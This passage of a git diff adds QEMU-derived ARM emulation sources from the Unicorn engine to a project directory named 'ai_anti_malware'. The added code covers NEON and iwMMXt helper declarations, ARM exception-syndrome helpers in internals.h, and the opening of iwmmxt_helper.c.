+DEF_HELPER_2(neon_pmin_u16, i32, i32, i32) +DEF_HELPER_2(neon_pmin_s16, i32, i32, i32) +DEF_HELPER_2(neon_pmax_u8, i32, i32, i32) +DEF_HELPER_2(neon_pmax_s8, i32, i32, i32) +DEF_HELPER_2(neon_pmax_u16, i32, i32, i32) +DEF_HELPER_2(neon_pmax_s16, i32, i32, i32) + +DEF_HELPER_2(neon_abd_u8, i32, i32, i32) +DEF_HELPER_2(neon_abd_s8, i32, i32, i32) +DEF_HELPER_2(neon_abd_u16, i32, i32, i32) +DEF_HELPER_2(neon_abd_s16, i32, i32, i32) +DEF_HELPER_2(neon_abd_u32, i32, i32, i32) +DEF_HELPER_2(neon_abd_s32, i32, i32, i32) + +DEF_HELPER_2(neon_shl_u8, i32, i32, i32) +DEF_HELPER_2(neon_shl_s8, i32, i32, i32) +DEF_HELPER_2(neon_shl_u16, i32, i32, i32) +DEF_HELPER_2(neon_shl_s16, i32, i32, i32) +DEF_HELPER_2(neon_shl_u32, i32, i32, i32) +DEF_HELPER_2(neon_shl_s32, i32, i32, i32) +DEF_HELPER_2(neon_shl_u64, i64, i64, i64) +DEF_HELPER_2(neon_shl_s64, i64, i64, i64) +DEF_HELPER_2(neon_rshl_u8, i32, i32, i32) +DEF_HELPER_2(neon_rshl_s8, i32, i32, i32) +DEF_HELPER_2(neon_rshl_u16, i32, i32, i32) +DEF_HELPER_2(neon_rshl_s16, i32, i32, i32) +DEF_HELPER_2(neon_rshl_u32, i32, i32, i32) +DEF_HELPER_2(neon_rshl_s32, i32, i32, i32) +DEF_HELPER_2(neon_rshl_u64, i64, i64, i64) +DEF_HELPER_2(neon_rshl_s64, i64, i64, i64) +DEF_HELPER_3(neon_qshl_u8, i32, env, i32, i32) +DEF_HELPER_3(neon_qshl_s8, i32, env, i32, i32) +DEF_HELPER_3(neon_qshl_u16, i32, env, i32, i32) +DEF_HELPER_3(neon_qshl_s16, i32, env, i32, i32) +DEF_HELPER_3(neon_qshl_u32, i32, env, i32, i32) +DEF_HELPER_3(neon_qshl_s32, i32, env, i32, i32) +DEF_HELPER_3(neon_qshl_u64, i64, env, i64, i64) +DEF_HELPER_3(neon_qshl_s64, i64, env, i64, i64) +DEF_HELPER_3(neon_qshlu_s8, i32, env, i32, i32) +DEF_HELPER_3(neon_qshlu_s16, i32, env, i32, i32) +DEF_HELPER_3(neon_qshlu_s32, i32, env, i32, i32) +DEF_HELPER_3(neon_qshlu_s64, i64, env, i64, i64) +DEF_HELPER_3(neon_qrshl_u8, i32, env, i32, i32) +DEF_HELPER_3(neon_qrshl_s8, i32, env, i32, i32) +DEF_HELPER_3(neon_qrshl_u16, i32, env, i32, i32) +DEF_HELPER_3(neon_qrshl_s16, i32, env, i32, i32) +DEF_HELPER_3(neon_qrshl_u32, i32, env, i32, i32) +DEF_HELPER_3(neon_qrshl_s32, i32, env, i32, i32) +DEF_HELPER_3(neon_qrshl_u64, i64, env, i64, i64) +DEF_HELPER_3(neon_qrshl_s64, i64, env, i64, i64) + +DEF_HELPER_2(neon_add_u8, i32, i32, i32) +DEF_HELPER_2(neon_add_u16, i32, i32, i32) +DEF_HELPER_2(neon_padd_u8, i32, i32, i32) +DEF_HELPER_2(neon_padd_u16, i32, i32, i32) +DEF_HELPER_2(neon_sub_u8, i32, i32, i32) +DEF_HELPER_2(neon_sub_u16, i32, i32, i32) +DEF_HELPER_2(neon_mul_u8, i32, i32, i32) +DEF_HELPER_2(neon_mul_u16, i32, i32, i32) +DEF_HELPER_2(neon_mul_p8, i32, i32, i32) +DEF_HELPER_2(neon_mull_p8, i64, i32, i32) + +DEF_HELPER_2(neon_tst_u8, i32, i32, i32) +DEF_HELPER_2(neon_tst_u16, i32, i32, i32) +DEF_HELPER_2(neon_tst_u32, i32, i32, i32) +DEF_HELPER_2(neon_ceq_u8, i32, i32, i32) +DEF_HELPER_2(neon_ceq_u16, i32, i32, i32) +DEF_HELPER_2(neon_ceq_u32, i32, i32, i32) + +DEF_HELPER_1(neon_abs_s8, i32, i32) +DEF_HELPER_1(neon_abs_s16, i32, i32) +DEF_HELPER_1(neon_clz_u8, i32, i32) +DEF_HELPER_1(neon_clz_u16, i32, i32) +DEF_HELPER_1(neon_cls_s8, i32, i32) +DEF_HELPER_1(neon_cls_s16, i32, i32) +DEF_HELPER_1(neon_cls_s32, i32, i32) +DEF_HELPER_1(neon_cnt_u8, i32, i32) +DEF_HELPER_FLAGS_1(neon_rbit_u8, TCG_CALL_NO_RWG_SE, i32, i32) + +DEF_HELPER_3(neon_qdmulh_s16, i32, env, i32, i32) +DEF_HELPER_3(neon_qrdmulh_s16, i32, env, i32, i32) +DEF_HELPER_3(neon_qdmulh_s32, i32, env, i32, i32) +DEF_HELPER_3(neon_qrdmulh_s32, i32, env, i32, i32) + +DEF_HELPER_1(neon_narrow_u8, i32, i64) +DEF_HELPER_1(neon_narrow_u16, i32, i64) +DEF_HELPER_2(neon_unarrow_sat8, i32, env, i64) +DEF_HELPER_2(neon_narrow_sat_u8, i32, env, i64) +DEF_HELPER_2(neon_narrow_sat_s8, i32, env, i64) +DEF_HELPER_2(neon_unarrow_sat16, i32, env, i64) +DEF_HELPER_2(neon_narrow_sat_u16, i32, env, i64) +DEF_HELPER_2(neon_narrow_sat_s16, i32, env, i64) +DEF_HELPER_2(neon_unarrow_sat32, i32, env, i64) +DEF_HELPER_2(neon_narrow_sat_u32, i32, env, i64) +DEF_HELPER_2(neon_narrow_sat_s32, i32, env, i64) +DEF_HELPER_1(neon_narrow_high_u8, i32, i64) +DEF_HELPER_1(neon_narrow_high_u16, i32, i64) +DEF_HELPER_1(neon_narrow_round_high_u8, i32, i64) +DEF_HELPER_1(neon_narrow_round_high_u16, i32, i64) +DEF_HELPER_1(neon_widen_u8, i64, i32) +DEF_HELPER_1(neon_widen_s8, i64, i32) +DEF_HELPER_1(neon_widen_u16, i64, i32) +DEF_HELPER_1(neon_widen_s16, i64, i32) + +DEF_HELPER_2(neon_addl_u16, i64, i64, i64) +DEF_HELPER_2(neon_addl_u32, i64, i64, i64) +DEF_HELPER_2(neon_paddl_u16, i64, i64, i64) +DEF_HELPER_2(neon_paddl_u32, i64, i64, i64) +DEF_HELPER_2(neon_subl_u16, i64, i64, i64) +DEF_HELPER_2(neon_subl_u32, i64, i64, i64) +DEF_HELPER_3(neon_addl_saturate_s32, i64, env, i64, i64) +DEF_HELPER_3(neon_addl_saturate_s64, i64, env, i64, i64) +DEF_HELPER_2(neon_abdl_u16, i64, i32, i32) +DEF_HELPER_2(neon_abdl_s16, i64, i32, i32) +DEF_HELPER_2(neon_abdl_u32, i64, i32, i32) +DEF_HELPER_2(neon_abdl_s32, i64, i32, i32) +DEF_HELPER_2(neon_abdl_u64, i64, i32, i32) +DEF_HELPER_2(neon_abdl_s64, i64, i32, i32) +DEF_HELPER_2(neon_mull_u8, i64, i32, i32) +DEF_HELPER_2(neon_mull_s8, i64, i32, i32) +DEF_HELPER_2(neon_mull_u16, i64, i32, i32) +DEF_HELPER_2(neon_mull_s16, i64, i32, i32) + +DEF_HELPER_1(neon_negl_u16, i64, i64) +DEF_HELPER_1(neon_negl_u32, i64, i64) + +DEF_HELPER_FLAGS_2(neon_qabs_s8, TCG_CALL_NO_RWG, i32, env, i32) +DEF_HELPER_FLAGS_2(neon_qabs_s16, TCG_CALL_NO_RWG, i32, env, i32) +DEF_HELPER_FLAGS_2(neon_qabs_s32, TCG_CALL_NO_RWG, i32, env, i32) +DEF_HELPER_FLAGS_2(neon_qabs_s64, TCG_CALL_NO_RWG, i64, env, i64) +DEF_HELPER_FLAGS_2(neon_qneg_s8, TCG_CALL_NO_RWG, i32, env, i32) +DEF_HELPER_FLAGS_2(neon_qneg_s16, TCG_CALL_NO_RWG, i32, env, i32) +DEF_HELPER_FLAGS_2(neon_qneg_s32, TCG_CALL_NO_RWG, i32, env, i32) +DEF_HELPER_FLAGS_2(neon_qneg_s64, TCG_CALL_NO_RWG, i64, env, i64) + +DEF_HELPER_3(neon_abd_f32, i32, i32, i32, ptr) +DEF_HELPER_3(neon_ceq_f32, i32, i32, i32, ptr) +DEF_HELPER_3(neon_cge_f32, i32, i32, i32, ptr) +DEF_HELPER_3(neon_cgt_f32, i32, i32, i32, ptr) +DEF_HELPER_3(neon_acge_f32, i32, i32, i32, ptr) +DEF_HELPER_3(neon_acgt_f32, i32, i32, i32, ptr) +DEF_HELPER_3(neon_acge_f64, i64, i64, i64, ptr) +DEF_HELPER_3(neon_acgt_f64, i64, i64, i64, ptr) + +/* iwmmxt_helper.c */ +DEF_HELPER_2(iwmmxt_maddsq, i64, i64, i64) +DEF_HELPER_2(iwmmxt_madduq, i64, i64, i64) +DEF_HELPER_2(iwmmxt_sadb, i64, i64, i64) +DEF_HELPER_2(iwmmxt_sadw, i64, i64, i64) +DEF_HELPER_2(iwmmxt_mulslw, i64, i64, i64) +DEF_HELPER_2(iwmmxt_mulshw, i64, i64, i64) +DEF_HELPER_2(iwmmxt_mululw, i64, i64, i64) +DEF_HELPER_2(iwmmxt_muluhw, i64, i64, i64) +DEF_HELPER_2(iwmmxt_macsw, i64, i64, i64) +DEF_HELPER_2(iwmmxt_macuw, i64, i64, i64) +DEF_HELPER_1(iwmmxt_setpsr_nz, i32, i64) + +#define DEF_IWMMXT_HELPER_SIZE_ENV(name) \ +DEF_HELPER_3(iwmmxt_##name##b, i64, env, i64, i64) \ +DEF_HELPER_3(iwmmxt_##name##w, i64, env, i64, i64) \ +DEF_HELPER_3(iwmmxt_##name##l, i64, env, i64, i64) \ + +DEF_IWMMXT_HELPER_SIZE_ENV(unpackl) +DEF_IWMMXT_HELPER_SIZE_ENV(unpackh) + +DEF_HELPER_2(iwmmxt_unpacklub, i64, env, i64) +DEF_HELPER_2(iwmmxt_unpackluw, i64, env, i64) +DEF_HELPER_2(iwmmxt_unpacklul, i64, env, i64) +DEF_HELPER_2(iwmmxt_unpackhub, i64, env, i64) +DEF_HELPER_2(iwmmxt_unpackhuw, i64, env, i64) +DEF_HELPER_2(iwmmxt_unpackhul, i64, env, i64) +DEF_HELPER_2(iwmmxt_unpacklsb, i64, env, i64) +DEF_HELPER_2(iwmmxt_unpacklsw, i64, env, i64) +DEF_HELPER_2(iwmmxt_unpacklsl, i64, env, i64) +DEF_HELPER_2(iwmmxt_unpackhsb, i64, env, i64) +DEF_HELPER_2(iwmmxt_unpackhsw, i64, env, i64) +DEF_HELPER_2(iwmmxt_unpackhsl, i64, env, i64) + +DEF_IWMMXT_HELPER_SIZE_ENV(cmpeq) +DEF_IWMMXT_HELPER_SIZE_ENV(cmpgtu) +DEF_IWMMXT_HELPER_SIZE_ENV(cmpgts) + +DEF_IWMMXT_HELPER_SIZE_ENV(mins) +DEF_IWMMXT_HELPER_SIZE_ENV(minu) +DEF_IWMMXT_HELPER_SIZE_ENV(maxs) +DEF_IWMMXT_HELPER_SIZE_ENV(maxu) + +DEF_IWMMXT_HELPER_SIZE_ENV(subn) +DEF_IWMMXT_HELPER_SIZE_ENV(addn) +DEF_IWMMXT_HELPER_SIZE_ENV(subu) +DEF_IWMMXT_HELPER_SIZE_ENV(addu) +DEF_IWMMXT_HELPER_SIZE_ENV(subs) +DEF_IWMMXT_HELPER_SIZE_ENV(adds) + +DEF_HELPER_3(iwmmxt_avgb0, i64, env, i64, i64) +DEF_HELPER_3(iwmmxt_avgb1, i64, env, i64, i64) +DEF_HELPER_3(iwmmxt_avgw0, i64, env, i64, i64) +DEF_HELPER_3(iwmmxt_avgw1, i64, env, i64, i64) + +DEF_HELPER_3(iwmmxt_align, i64, i64, i64, i32) +DEF_HELPER_4(iwmmxt_insr, i64, i64, i32, i32, i32) + +DEF_HELPER_1(iwmmxt_bcstb, i64, i32) +DEF_HELPER_1(iwmmxt_bcstw, i64, i32) +DEF_HELPER_1(iwmmxt_bcstl, i64, i32) + +DEF_HELPER_1(iwmmxt_addcb, i64, i64) +DEF_HELPER_1(iwmmxt_addcw, i64, i64) +DEF_HELPER_1(iwmmxt_addcl, i64, i64) + +DEF_HELPER_1(iwmmxt_msbb, i32, i64) +DEF_HELPER_1(iwmmxt_msbw, i32, i64) +DEF_HELPER_1(iwmmxt_msbl, i32, i64) + +DEF_HELPER_3(iwmmxt_srlw, i64, env, i64, i32) +DEF_HELPER_3(iwmmxt_srll, i64, env, i64, i32) +DEF_HELPER_3(iwmmxt_srlq, i64, env, i64, i32) +DEF_HELPER_3(iwmmxt_sllw, i64, env, i64, i32) +DEF_HELPER_3(iwmmxt_slll, i64, env, i64, i32) +DEF_HELPER_3(iwmmxt_sllq, i64, env, i64, i32) +DEF_HELPER_3(iwmmxt_sraw, i64, env, i64, i32) +DEF_HELPER_3(iwmmxt_sral, i64, env, i64, i32) +DEF_HELPER_3(iwmmxt_sraq, i64, env, i64, i32) +DEF_HELPER_3(iwmmxt_rorw, i64, env, i64, i32) +DEF_HELPER_3(iwmmxt_rorl, i64, env, i64, i32) +DEF_HELPER_3(iwmmxt_rorq, i64, env, i64, i32) +DEF_HELPER_3(iwmmxt_shufh, i64, env, i64, i32) + +DEF_HELPER_3(iwmmxt_packuw, i64, env, i64, i64) +DEF_HELPER_3(iwmmxt_packul, i64, env, i64, i64) +DEF_HELPER_3(iwmmxt_packuq, i64, env, i64, i64) +DEF_HELPER_3(iwmmxt_packsw, i64, env, i64, i64) +DEF_HELPER_3(iwmmxt_packsl, i64, env, i64, i64) +DEF_HELPER_3(iwmmxt_packsq, i64, env, i64, i64) + +DEF_HELPER_3(iwmmxt_muladdsl, i64, i64, i32, i32) +DEF_HELPER_3(iwmmxt_muladdsw, i64, i64, i32, i32) +DEF_HELPER_3(iwmmxt_muladdswl, i64, i64, i32, i32) + +DEF_HELPER_3(neon_unzip8, void, env, i32, i32) +DEF_HELPER_3(neon_unzip16, void, env, i32, i32) +DEF_HELPER_3(neon_qunzip8, void, env, i32, i32) +DEF_HELPER_3(neon_qunzip16, void, env, i32, i32) +DEF_HELPER_3(neon_qunzip32, void, env, i32, i32) +DEF_HELPER_3(neon_zip8, void, env, i32, i32) +DEF_HELPER_3(neon_zip16, void, env, i32, i32) +DEF_HELPER_3(neon_qzip8, void, env, i32, i32) +DEF_HELPER_3(neon_qzip16, void, env, i32, i32) +DEF_HELPER_3(neon_qzip32, void, env, i32, i32) + +DEF_HELPER_4(crypto_aese, void, env, i32, i32, i32) +DEF_HELPER_4(crypto_aesmc, void, env, i32, i32, i32) + +DEF_HELPER_5(crypto_sha1_3reg, void, env, i32, i32, i32, i32) +DEF_HELPER_3(crypto_sha1h, void, env, i32, i32) +DEF_HELPER_3(crypto_sha1su1, void, env, i32, i32) + +DEF_HELPER_4(crypto_sha256h, void, env, i32, i32, i32) +DEF_HELPER_4(crypto_sha256h2, void, env, i32, i32, i32) +DEF_HELPER_3(crypto_sha256su0, void, env, i32, i32) +DEF_HELPER_4(crypto_sha256su1, void, env, i32, i32, i32) + +DEF_HELPER_FLAGS_3(crc32_arm, TCG_CALL_NO_RWG_SE, i32, i32, i32, i32) +DEF_HELPER_FLAGS_3(crc32c, TCG_CALL_NO_RWG_SE, i32, i32, i32, i32) +DEF_HELPER_2(dc_zva, void, env, i64) + +DEF_HELPER_FLAGS_2(neon_pmull_64_lo, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(neon_pmull_64_hi, TCG_CALL_NO_RWG_SE, i64, i64, i64) + +#ifdef TARGET_ARM +#define helper_clz helper_clz_arm +#define gen_helper_clz gen_helper_clz_arm +#define helper_crc32 helper_crc32_arm +#define gen_helper_crc32 gen_helper_crc32_arm +#endif + +#ifdef TARGET_AARCH64 +#include "helper-a64.h" +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/internals.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/internals.h new file mode 100644 index 0000000..c1ad757 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/internals.h @@ -0,0 +1,383 @@ +/* + * QEMU ARM CPU -- internal functions and types + * + * Copyright (c) 2014 Linaro Ltd + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, see + * + * + * This header defines functions, types, etc which need to be shared + * between different source files within target-arm/ but which are + * private to it and not required by the rest of QEMU. + */ + +#ifndef TARGET_ARM_INTERNALS_H +#define TARGET_ARM_INTERNALS_H + +static inline bool excp_is_internal(int excp) +{ + /* Return true if this exception number represents a QEMU-internal + * exception that will not be passed to the guest. + */ + return excp == EXCP_INTERRUPT + || excp == EXCP_HLT + || excp == EXCP_DEBUG + || excp == EXCP_HALTED + || excp == EXCP_EXCEPTION_EXIT + || excp == EXCP_KERNEL_TRAP + || excp == EXCP_STREX; +} + +/* Exception names for debug logging; note that not all of these + * precisely correspond to architectural exceptions. + */ +static const char * const excnames[] = { + NULL, + "Undefined Instruction", + "SVC", + "Prefetch Abort", + "Data Abort", + "IRQ", + "FIQ", + "Breakpoint", + "QEMU v7M exception exit", + "QEMU intercept of kernel commpage", + "QEMU intercept of STREX", + "Hypervisor Call", + "Hypervisor Trap", + "Secure Monitor Call", + "Virtual IRQ", + "Virtual FIQ", +}; + +static inline void arm_log_exception(int idx) +{ + if (qemu_loglevel_mask(CPU_LOG_INT)) { + const char *exc = NULL; + + if (idx >= 0 && idx < ARRAY_SIZE(excnames)) { + exc = excnames[idx]; + } + if (!exc) { + exc = "unknown"; + } + qemu_log_mask(CPU_LOG_INT, "Taking exception %d [%s]\n", idx, exc); + } +} + +/* Scale factor for generic timers, ie number of ns per tick. + * This gives a 62.5MHz timer. + */ +#define GTIMER_SCALE 16 + +/* + * For AArch64, map a given EL to an index in the banked_spsr array. + */ +static inline unsigned int aarch64_banked_spsr_index(unsigned int el) +{ + static const unsigned int map[4] = { + 0, + 0, /* EL1. */ + 6, /* EL2. */ + 7, /* EL3. */ + }; + assert(el >= 1 && el <= 3); + return map[el]; +} + +int bank_number(int mode); +void switch_mode(CPUARMState *, int); +void arm_cpu_register_gdb_regs_for_features(ARMCPU *cpu); +void arm_translate_init(struct uc_struct *uc); + +enum arm_fprounding { + FPROUNDING_TIEEVEN, + FPROUNDING_POSINF, + FPROUNDING_NEGINF, + FPROUNDING_ZERO, + FPROUNDING_TIEAWAY, + FPROUNDING_ODD +}; + +int arm_rmode_to_sf(int rmode); + +static inline void aarch64_save_sp(CPUARMState *env, int el) +{ + if (env->pstate & PSTATE_SP) { + env->sp_el[el] = env->xregs[31]; + } else { + env->sp_el[0] = env->xregs[31]; + } +} + +static inline void aarch64_restore_sp(CPUARMState *env, int el) +{ + if (env->pstate & PSTATE_SP) { + env->xregs[31] = env->sp_el[el]; + } else { + env->xregs[31] = env->sp_el[0]; + } +} + +static inline void update_spsel(CPUARMState *env, uint32_t imm) +{ + unsigned int cur_el = arm_current_el(env); + /* Update PSTATE SPSel bit; this requires us to update the + * working stack pointer in xregs[31]. + */ + if (!((imm ^ env->pstate) & PSTATE_SP)) { + return; + } + aarch64_save_sp(env, cur_el); + env->pstate = deposit32(env->pstate, 0, 1, imm); + + /* We rely on illegal updates to SPsel from EL0 to get trapped + * at translation time. + */ + assert(cur_el >= 1 && cur_el <= 3); + aarch64_restore_sp(env, cur_el); +} + +/* Return true if extended addresses are enabled. + * This is always the case if our translation regime is 64 bit, + * but depends on TTBCR.EAE for 32 bit. + */ +static inline bool extended_addresses_enabled(CPUARMState *env) +{ + return arm_el_is_aa64(env, 1) + || ((arm_feature(env, ARM_FEATURE_LPAE) + && (env->cp15.c2_control & TTBCR_EAE))); +} + +/* Valid Syndrome Register EC field values */ +enum arm_exception_class { + EC_UNCATEGORIZED = 0x00, + EC_WFX_TRAP = 0x01, + EC_CP15RTTRAP = 0x03, + EC_CP15RRTTRAP = 0x04, + EC_CP14RTTRAP = 0x05, + EC_CP14DTTRAP = 0x06, + EC_ADVSIMDFPACCESSTRAP = 0x07, + EC_FPIDTRAP = 0x08, + EC_CP14RRTTRAP = 0x0c, + EC_ILLEGALSTATE = 0x0e, + EC_AA32_SVC = 0x11, + EC_AA32_HVC = 0x12, + EC_AA32_SMC = 0x13, + EC_AA64_SVC = 0x15, + EC_AA64_HVC = 0x16, + EC_AA64_SMC = 0x17, + EC_SYSTEMREGISTERTRAP = 0x18, + EC_INSNABORT = 0x20, + EC_INSNABORT_SAME_EL = 0x21, + EC_PCALIGNMENT = 0x22, + EC_DATAABORT = 0x24, + EC_DATAABORT_SAME_EL = 0x25, + EC_SPALIGNMENT = 0x26, + EC_AA32_FPTRAP = 0x28, + EC_AA64_FPTRAP = 0x2c, + EC_SERROR = 0x2f, + EC_BREAKPOINT = 0x30, + EC_BREAKPOINT_SAME_EL = 0x31, + EC_SOFTWARESTEP = 0x32, + EC_SOFTWARESTEP_SAME_EL = 0x33, + EC_WATCHPOINT = 0x34, + EC_WATCHPOINT_SAME_EL = 0x35, + EC_AA32_BKPT = 0x38, + EC_VECTORCATCH = 0x3a, + EC_AA64_BKPT = 0x3c, +}; + +#define ARM_EL_EC_SHIFT 26 +#define ARM_EL_IL_SHIFT 25 +#define ARM_EL_IL (1 << ARM_EL_IL_SHIFT) + +/* Utility functions for constructing various kinds of syndrome value. + * Note that in general we follow the AArch64 syndrome values; in a + * few cases the value in HSR for exceptions taken to AArch32 Hyp + * mode differs slightly, so if we ever implemented Hyp mode then the + * syndrome value would need some massaging on exception entry. + * (One example of this is that AArch64 defaults to IL bit set for + * exceptions which don't specifically indicate information about the + * trapping instruction, whereas AArch32 defaults to IL bit clear.) + */ +static inline uint32_t syn_uncategorized(void) +{ + return (EC_UNCATEGORIZED << ARM_EL_EC_SHIFT) | ARM_EL_IL; +} + +static inline uint32_t syn_aa64_svc(uint32_t imm16) +{ + return (EC_AA64_SVC << ARM_EL_EC_SHIFT) | ARM_EL_IL | (imm16 & 0xffff); +} + +static inline uint32_t syn_aa64_hvc(uint32_t imm16) +{ + return (EC_AA64_HVC << ARM_EL_EC_SHIFT) | ARM_EL_IL | (imm16 & 0xffff); +} + +static inline uint32_t syn_aa64_smc(uint32_t imm16) +{ + return (EC_AA64_SMC << ARM_EL_EC_SHIFT) | ARM_EL_IL | (imm16 & 0xffff); +} + +static inline uint32_t syn_aa32_svc(uint32_t imm16, bool is_thumb) +{ + return (EC_AA32_SVC << ARM_EL_EC_SHIFT) | (imm16 & 0xffff) + | (is_thumb ? 0 : ARM_EL_IL); +} + +static inline uint32_t syn_aa32_hvc(uint32_t imm16) +{ + return (EC_AA32_HVC << ARM_EL_EC_SHIFT) | ARM_EL_IL | (imm16 & 0xffff); +} + +static inline uint32_t syn_aa32_smc(void) +{ + return (EC_AA32_SMC << ARM_EL_EC_SHIFT) | ARM_EL_IL; +} + +static inline uint32_t syn_aa64_bkpt(uint32_t imm16) +{ + return (((unsigned int)EC_AA64_BKPT) << ARM_EL_EC_SHIFT) | ARM_EL_IL | (imm16 & 0xffff); +} + +static inline uint32_t syn_aa32_bkpt(uint32_t imm16, bool is_thumb) +{ + return (((unsigned int)EC_AA32_BKPT) << ARM_EL_EC_SHIFT) | (imm16 & 0xffff) + | (is_thumb ? 0 : ARM_EL_IL); +} + +static inline uint32_t syn_aa64_sysregtrap(int op0, int op1, int op2, + int crn, int crm, int rt, + int isread) +{ + return (EC_SYSTEMREGISTERTRAP << ARM_EL_EC_SHIFT) | ARM_EL_IL + | (op0 << 20) | (op2 << 17) | (op1 << 14) | (crn << 10) | (rt << 5) + | (crm << 1) | isread; +} + +static inline uint32_t syn_cp14_rt_trap(int cv, int cond, int opc1, int opc2, + int crn, int crm, int rt, int isread, + bool is_thumb) +{ + return (EC_CP14RTTRAP << ARM_EL_EC_SHIFT) + | (is_thumb ? 0 : ARM_EL_IL) + | (cv << 24) | (cond << 20) | (opc2 << 17) | (opc1 << 14) + | (crn << 10) | (rt << 5) | (crm << 1) | isread; +} + +static inline uint32_t syn_cp15_rt_trap(int cv, int cond, int opc1, int opc2, + int crn, int crm, int rt, int isread, + bool is_thumb) +{ + return (EC_CP15RTTRAP << ARM_EL_EC_SHIFT) + | (is_thumb ? 0 : ARM_EL_IL) + | (cv << 24) | (cond << 20) | (opc2 << 17) | (opc1 << 14) + | (crn << 10) | (rt << 5) | (crm << 1) | isread; +} + +static inline uint32_t syn_cp14_rrt_trap(int cv, int cond, int opc1, int crm, + int rt, int rt2, int isread, + bool is_thumb) +{ + return (EC_CP14RRTTRAP << ARM_EL_EC_SHIFT) + | (is_thumb ? 0 : ARM_EL_IL) + | (cv << 24) | (cond << 20) | (opc1 << 16) + | (rt2 << 10) | (rt << 5) | (crm << 1) | isread; +} + +static inline uint32_t syn_cp15_rrt_trap(int cv, int cond, int opc1, int crm, + int rt, int rt2, int isread, + bool is_thumb) +{ + return (EC_CP15RRTTRAP << ARM_EL_EC_SHIFT) + | (is_thumb ? 0 : ARM_EL_IL) + | (cv << 24) | (cond << 20) | (opc1 << 16) + | (rt2 << 10) | (rt << 5) | (crm << 1) | isread; +} + +static inline uint32_t syn_fp_access_trap(int cv, int cond, bool is_thumb) +{ + return (EC_ADVSIMDFPACCESSTRAP << ARM_EL_EC_SHIFT) + | (is_thumb ? 0 : ARM_EL_IL) + | (cv << 24) | (cond << 20); +} + +static inline uint32_t syn_insn_abort(int same_el, int ea, int s1ptw, int fsc) +{ + return (((unsigned int)EC_INSNABORT) << ARM_EL_EC_SHIFT) | (same_el << ARM_EL_EC_SHIFT) + | (ea << 9) | (s1ptw << 7) | fsc; +} + +static inline uint32_t syn_data_abort(int same_el, int ea, int cm, int s1ptw, + int wnr, int fsc) +{ + return (((unsigned int) EC_DATAABORT) << ARM_EL_EC_SHIFT) | (same_el << ARM_EL_EC_SHIFT) + | (ea << 9) | (cm << 8) | (s1ptw << 7) | (wnr << 6) | fsc; +} + +static inline uint32_t syn_swstep(int same_el, int isv, int ex) +{ + return (((unsigned int)EC_SOFTWARESTEP) << ARM_EL_EC_SHIFT) | (same_el << ARM_EL_EC_SHIFT) + | (isv << 24) | (ex << 6) | 0x22; +} + +static inline uint32_t syn_watchpoint(int same_el, int cm, int wnr) +{ + return (((unsigned int)EC_WATCHPOINT) << ARM_EL_EC_SHIFT) | (same_el << ARM_EL_EC_SHIFT) + | (cm << 8) | (wnr << 6) | 0x22; +} + +static inline uint32_t syn_breakpoint(int same_el) +{ + return (((unsigned int) EC_BREAKPOINT) << ARM_EL_EC_SHIFT) | (same_el << ARM_EL_EC_SHIFT) + | ARM_EL_IL | 0x22; +} + +/* Update a QEMU watchpoint based on the information the guest has set in the + * DBGWCR_EL1 and DBGWVR_EL1 registers. + */ +void hw_watchpoint_update(ARMCPU *cpu, int n); +/* Update the QEMU watchpoints for every guest watchpoint. This does a + * complete delete-and-reinstate of the QEMU watchpoint list and so is + * suitable for use after migration or on reset. + */ +void hw_watchpoint_update_all(ARMCPU *cpu); +/* Update a QEMU breakpoint based on the information the guest has set in the + * DBGBCR_EL1 and DBGBVR_EL1 registers. + */ +void hw_breakpoint_update(ARMCPU *cpu, int n); +/* Update the QEMU breakpoints for every guest breakpoint. This does a + * complete delete-and-reinstate of the QEMU breakpoint list and so is + * suitable for use after migration or on reset. + */ +void hw_breakpoint_update_all(ARMCPU *cpu); + +/* Callback function for when a watchpoint or breakpoint triggers. */ +void arm_debug_excp_handler(CPUState *cs); + +#ifdef CONFIG_USER_ONLY +static inline bool arm_is_psci_call(ARMCPU *cpu, int excp_type) +{ + return false; +} +#else +/* Return true if the r0/x0 value indicates that this SMC/HVC is a PSCI call. */ +bool arm_is_psci_call(ARMCPU *cpu, int excp_type); +/* Actually handle a PSCI call */ +void arm_handle_psci_call(ARMCPU *cpu); +#endif + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/iwmmxt_helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/iwmmxt_helper.c new file mode 100644 index 0000000..a506914 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/iwmmxt_helper.c @@ -0,0 +1,672 @@ +/* + * iwMMXt micro operations for XScale. + * + * Copyright (c) 2007 OpenedHand, Ltd. + * Written by Andrzej Zaborowski + * Copyright (c) 2008 CodeSourcery + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include +#include + +#include "cpu.h" +#include "exec/exec-all.h" +#include "exec/helper-proto.h" + +/* iwMMXt macros extracted from GNU gdb. */ + +/* Set the SIMD wCASF flags for 8, 16, 32 or 64-bit operations. */ +#define SIMD8_SET( v, n, b) ((v != 0) << ((((b) + 1) * 4) + (n))) +#define SIMD16_SET(v, n, h) ((v != 0) << ((((h) + 1) * 8) + (n))) +#define SIMD32_SET(v, n, w) ((v != 0) << ((((w) + 1) * 16) + (n))) +#define SIMD64_SET(v, n) ((v != 0) << (32 + (n))) +/* Flags to pass as "n" above. */ +#define SIMD_NBIT -1 +#define SIMD_ZBIT -2 +#define SIMD_CBIT -3 +#define SIMD_VBIT -4 +/* Various status bit macros. */ +#define NBIT8(x) ((x) & 0x80) +#define NBIT16(x) 